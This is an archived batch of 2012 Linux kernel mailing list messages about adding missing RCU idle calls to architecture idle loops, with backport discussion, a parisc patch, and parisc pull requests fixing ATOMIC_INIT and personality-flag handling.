> On 26/08/12 04:18, Paul E. McKenney wrote:
> > On Sat, Aug 25, 2012 at 03:16:49PM +0200, Frederic Weisbecker wrote:
> >> On Fri, Aug 24, 2012 at 08:50:47PM -0700, Paul E. McKenney wrote:
> >>> On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> >>>> On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> >>>>> On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> >>>>>> Hi,
> >>>>>>
> >>>>>> Changes since v1:
> >>>>>>
> >>>>>> - Fixed preempt handling in alpha idle loop
> >>>>>> - added ack from Geert
> >>>>>> - fixed stable email address, sorry :-/
> >>>>>>
> >>>>>> This time I built tested everywhere but: h8300 (compiler internal error),
> >>>>>> and mn10300, parisc, score (cross compilers not available in
> >>>>>> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> >>>>>>
> >>>>>> For testing, you can pull from:
> >>>>>>
> >>>>>> git://github.com/fweisbec/linux-dynticks.git
> >>>>>> 	rcu/idle-fix-v2 
> >>>>>>
> >>>>>> Thanks.
> >>>>>
> >>>>> I have queued these on -rcu branch rcu/idle:
> >>>>>
> >>>>> 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> >>>>>
> >>>>> This problem has been in place since 3.3, so it is hard to argue that
> >>>>> it is a regression for this merge window.  I have therefore queued it
> >>>>> for 3.7.
> >>>>
> >>>> I don't follow that; I would expect any serious bug fix (serious enough
> >>>> for a stable update) to be acceptable for 3.6 at this point.
> >>>
> >>> OK, if any of the arch maintainers wishes to submit the patch to 3.6,
> >>> they are free to do so -- just let me know and I will drop the patch from
> >>> my tree.
> >>>
> >>> That said, all this does is cause spurious warnings to be printed, so
> >>> not sure it really qualifies as serious.  But I am happy to leave that
> >>> decision with the individual arch maintainers -- it is their arch,
> >>> after all, so their decision.
> >>
> >> Couldn't that cause hung tasks due to long lasting synchronize_rcu() ?
> > 
> > In theory, definitely.  In practice, they haven't been running into it,
> > or they would be reporting hangs.
> 
> I am hereby reporting that RCU CPU stall warnings and hung tasks are
> being experienced on SMP kernels built for generic Alpha. This problem
> dates back quite a few kernel releases. The discussed patches appear to
> fix the problem.

OK, fair enough.

> A backport to the 3.2 kernel, of at least the Alpha patches, would be
> very much appreciated! :-)

Both Alpha patches should apply as-is back to 3.3, and should also fix
the problem.  Could you please check this on the versions of interest?

If you are seeing something like this on 3.2 or earlier, you have some
other problem that needs to be tracked down separately.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tobias Klausmann <klausman@schwarzvogel.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sun, 26 Aug 2012 11:21:37 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20120826092137.GA50543@kaini.schwarzvogel.de>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120825035047.GB3436@linux.vnet.ibm.com>
 <20120825131647.GA1994@somewhere>
 <20120825161806.GD3436@linux.vnet.ibm.com>
 <5039406F.9040604@orcon.net.nz>
 <20120826001233.GH3436@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345974147 29978 80.91.229.3 (26 Aug 2012 09:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2012 09:42:27 +0000 (UTC)
Cc: Michael Cree <mcree@orcon.net.nz>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <m
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 26 11:42:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T5ZML-00052U-FB
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Aug 2012 11:42:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753633Ab2HZJlW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Aug 2012 05:41:22 -0400
Original-Received: from kaini.schwarzvogel.de ([178.63.25.207]:39683 "EHLO
	mail.schwarzvogel.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753165Ab2HZJlS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Aug 2012 05:41:18 -0400
X-Greylist: delayed 1144 seconds by postgrey-1.27 at vger.kernel.org; Sun, 26 Aug 2012 05:41:17 EDT
Original-Received: from klausman by mail.schwarzvogel.de with local (Exim 4.80)
	(envelope-from <klausman@schwarzvogel.de>)
	id 1T5Z2H-000DyC-5h; Sun, 26 Aug 2012 11:21:37 +0200
Mail-Followup-To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Michael Cree <mcree@orcon.net.nz>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net> 
Content-Disposition: inline
In-Reply-To: <20120826001233.GH3436@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4559 gmane.linux.kernel:1349669 gmane.linux.kernel.stable:30371 gmane.linux.ports.alpha:1886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4559>

Hi! 

On Sat, 25 Aug 2012, Paul E. McKenney wrote:
> Both Alpha patches should apply as-is back to 3.3, and should also fix
> the problem.  Could you please check this on the versions of interest?

I just now tried them on top of 3.3.8 from linux-stable.git.
While they apply cleanly, I get a compile failure:

  CC      arch/alpha/kernel/process.o
arch/alpha/kernel/process.c: In function 'cpu_idle':
arch/alpha/kernel/process.c:64: error: implicit declaration of function 'schedule_preempt_disabled'
make[1]: *** [arch/alpha/kernel/process.o] Error 1
make: *** [arch/alpha/kernel] Error 2

AFAICT, schedule_preempt_disabled() was only introduced in 3.4
and thus needs to be backported for 3.3.

Regards,
Tobias

-- 
panic("%s: CORRUPTED BTREE OR SOMETHING", __FUNCTION__);
        linux-2.6.6/fs/xfs/xfs_bmap.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable
Subject: [PATCH tip/core/rcu 23/26] parisc: Add missing RCU idle APIs on idle loop
Date: Thu, 30 Aug 2012 14:05:40 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <1346360743-3628-23-git-send-email-paulmck@linux.vnet.ibm.com>
References: <20120830210520.GA2824@linux.vnet.ibm.com>
 <1346360743-3628-1-git-send-email-paulmck@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1346361510 8515 80.91.229.3 (30 Aug 2012 21:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Aug 2012 21:18:30 +0000 (UTC)
Cc: mingo@elte.hu, laijs@cn.fujitsu.com, dipankar@in.ibm.com,
	akpm@linux-foundation.org, mathieu.desnoyers@polymtl.ca,
	josh@joshtriplett.org, niv@us.ibm.com, tglx@linutronix.de,
	peterz@infradead.org, rostedt@goodmis.org, Valdis.Kletnieks@vt.edu,
	dhowells@redhat.com, eric.dumazet@gmail.com, darren@dvhart.com,
	fweisbec@gmail.com, sbw@mit.edu, patches@linaro.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	"3.2.x.." <stable@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 30 23:18:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T7C8A-0006go-6j
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 Aug 2012 23:18:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753021Ab2H3VOV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Aug 2012 17:14:21 -0400
Original-Received: from e37.co.us.ibm.com ([32.97.110.158]:47316 "EHLO
	e37.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752927Ab2H3VOR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Aug 2012 17:14:17 -0400
Original-Received: from /spool/local
	by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Thu, 30 Aug 2012 15:14:15 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 30 Aug 2012 15:13:52 -0600
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id A69B93E40044;
	Thu, 30 Aug 2012 15:13:51 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q7ULDpbD161232;
	Thu, 30 Aug 2012 15:13:51 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q7ULDXQl009139;
	Thu, 30 Aug 2012 15:13:50 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-65-153-225.mts.ibm.com [9.65.153.225])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q7ULDWJT009014;
	Thu, 30 Aug 2012 15:13:33 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 8ABC4EA850; Thu, 30 Aug 2012 14:05:47 -0700 (PDT)
X-Mailer: git-send-email 1.7.8
In-Reply-To: <1346360743-3628-1-git-send-email-paulmck@linux.vnet.ibm.com>
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12083021-7408-0000-0000-0000080B5696
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4561 gmane.linux.kernel:1351146 gmane.linux.kernel.stable:30452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4561>

From: Frederic Weisbecker <fweisbec@gmail.com>

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Cc: 3.2.x.. <stable@vger.kernel.org>
Cc: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
---
 arch/parisc/kernel/process.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..c54a4db 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}
-- 
1.7.8

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.4-rc1
Date: Fri, 31 Aug 2012 09:01:11 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <1346428871.3512.21.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1346428877 16218 80.91.229.3 (31 Aug 2012 16:01:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Aug 2012 16:01:17 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 31 18:01:18 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T7Tem-0005WD-Rg
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Aug 2012 18:01:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754286Ab2HaQBO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Aug 2012 12:01:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38700 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754278Ab2HaQBN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Aug 2012 12:01:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 05DCE8EE0FD;
	Fri, 31 Aug 2012 09:01:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hxb-534GGTTH; Fri, 31 Aug 2012 09:01:12 -0700 (PDT)
Original-Received: from [10.10.5.15] (0127ahost2.starwoodbroadband.com [12.105.246.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id AF3D28EE0A5;
	Fri, 31 Aug 2012 09:01:12 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4562 gmane.linux.kernel:1351469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4562>

This is a set of two bug fixes.  One is the ATOMIC problem which is now
causing a compile failure in certain situations.  The other is
mishandling of PER_LINUX32 which may also cause user visible effects.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:

Jiri Kosina (1):
      fix personality flag check in copy_thread()

Mel Gorman (1):
      Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the casts

And the diffstat:

 arch/parisc/include/asm/atomic.h | 4 ++--
 arch/parisc/kernel/process.c     | 2 +-
 arch/parisc/kernel/sys_parisc.c  | 8 ++++----
 3 files changed, 7 insertions(+), 7 deletions(-)

Full diff below.

James

---

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 6c6defc..af9cf30 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
 
-#define ATOMIC_INIT(i)	((atomic_t) { (i) })
+#define ATOMIC_INIT(i)	{ (i) }
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
@@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #ifdef CONFIG_64BIT
 
-#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
+#define ATOMIC64_INIT(i) { (i) }
 
 static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..7426e40 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality = (personality & ~PER_MASK) | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err = (err & ~PER_MASK) | PER_LINUX;
 
 	return err;
 }


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.6-rc3
Date: Fri, 31 Aug 2012 09:01:35 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <1346428895.3512.23.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1346428904 16481 80.91.229.3 (31 Aug 2012 16:01:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Aug 2012 16:01:44 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 31 18:01:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T7TfB-0006nD-DL
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Aug 2012 18:01:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754278Ab2HaQBi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Aug 2012 12:01:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38708 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754203Ab2HaQBi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Aug 2012 12:01:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E9F618EE0FD;
	Fri, 31 Aug 2012 09:01:37 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Rv6ODc13C6Lj; Fri, 31 Aug 2012 09:01:37 -0700 (PDT)
Original-Received: from [10.10.5.15] (0127ahost2.starwoodbroadband.com [12.105.246.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 885388EE0A5;
	Fri, 31 Aug 2012 09:01:37 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4563 gmane.linux.kernel:1351470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4563>

This is a set of two bug fixes.  One is the ATOMIC problem which is now
causing a compile failure in certain situations.  The other is
mishandling of PER_LINUX32 which may also cause user visible effects.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:

Jiri Kosina (1):
      fix personality flag check in copy_thread()

Mel Gorman (1):
      Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the casts

And the diffstat:

 arch/parisc/include/asm/atomic.h | 4 ++--
 arch/parisc/kernel/process.c     | 2 +-
 arch/parisc/kernel/sys_parisc.c  | 8 ++++----
 3 files changed, 7 insertions(+), 7 deletions(-)

Full diff below.

James

---

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 6c6defc..af9cf30 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
 
-#define ATOMIC_INIT(i)	((atomic_t) { (i) })
+#define ATOMIC_INIT(i)	{ (i) }
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
@@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #ifdef CONFIG_64BIT
 
-#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
+#define ATOMIC64_INIT(i) { (i) }
 
 static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..7426e40 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality = (personality & ~PER_MASK) | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err = (err & ~PER_MASK) | PER_LINUX;
 
 	return err;
 }


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josh Triplett <josh@joshtriplett.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH tip/core/rcu 23/26] parisc: Add missing RCU idle APIs on
 idle loop
Date: Fri, 31 Aug 2012 17:03:15 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20120901000315.GU11771@jtriplet-mobl1>
References: <20120830210520.GA2824@linux.vnet.ibm.com>
 <1346360743-3628-1-git-send-email-paulmck@linux.vnet.ibm.com>
 <1346360743-3628-23-git-send-email-paulmck@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1346457819 21892 80.91.229.3 (1 Sep 2012 00:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Sep 2012 00:03:39 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, mingo@elte.hu, laijs@cn.fujitsu.com,
	dipankar@in.ibm.com, akpm@linux-foundation.org,
	mathieu.desnoyers@polymtl.ca, niv@us.ibm.com, tglx@linutronix.de,
